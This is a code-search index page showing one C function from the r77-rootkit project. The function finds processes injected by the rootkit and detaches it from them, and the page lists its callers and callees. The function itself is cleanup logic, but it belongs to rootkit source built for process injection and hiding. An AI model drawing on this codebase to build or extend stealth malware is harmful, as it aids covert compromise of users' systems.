MCPcopy Index your code
hub / github.com/bytecode77/r77-rootkit / DetachAllInjectedProcesses

Function DetachAllInjectedProcesses

r77api/r77process.c:214–231  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

212 return result;
213}
214VOID DetachAllInjectedProcesses()
215{
216 PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000);
217 DWORD r77ProcessCount = 1000;
218
219 if (GetR77Processes(r77Processes, &r77ProcessCount))
220 {
221 for (DWORD i = 0; i < r77ProcessCount; i++)
222 {
223 if (r77Processes[i].Signature == R77_SIGNATURE)
224 {
225 DetachInjectedProcess(&r77Processes[i]);
226 }
227 }
228 }
229
230 FREE(r77Processes);
231}
232BOOL DetachR77Service()
233{
234 BOOL result = FALSE;

Callers 4

DetachAllFunction · 0.85
mainFunction · 0.85
mainFunction · 0.85
ControlCallbackFunction · 0.85

Calls 2

GetR77ProcessesFunction · 0.85
DetachInjectedProcessFunction · 0.85

Tested by

no test coverage detected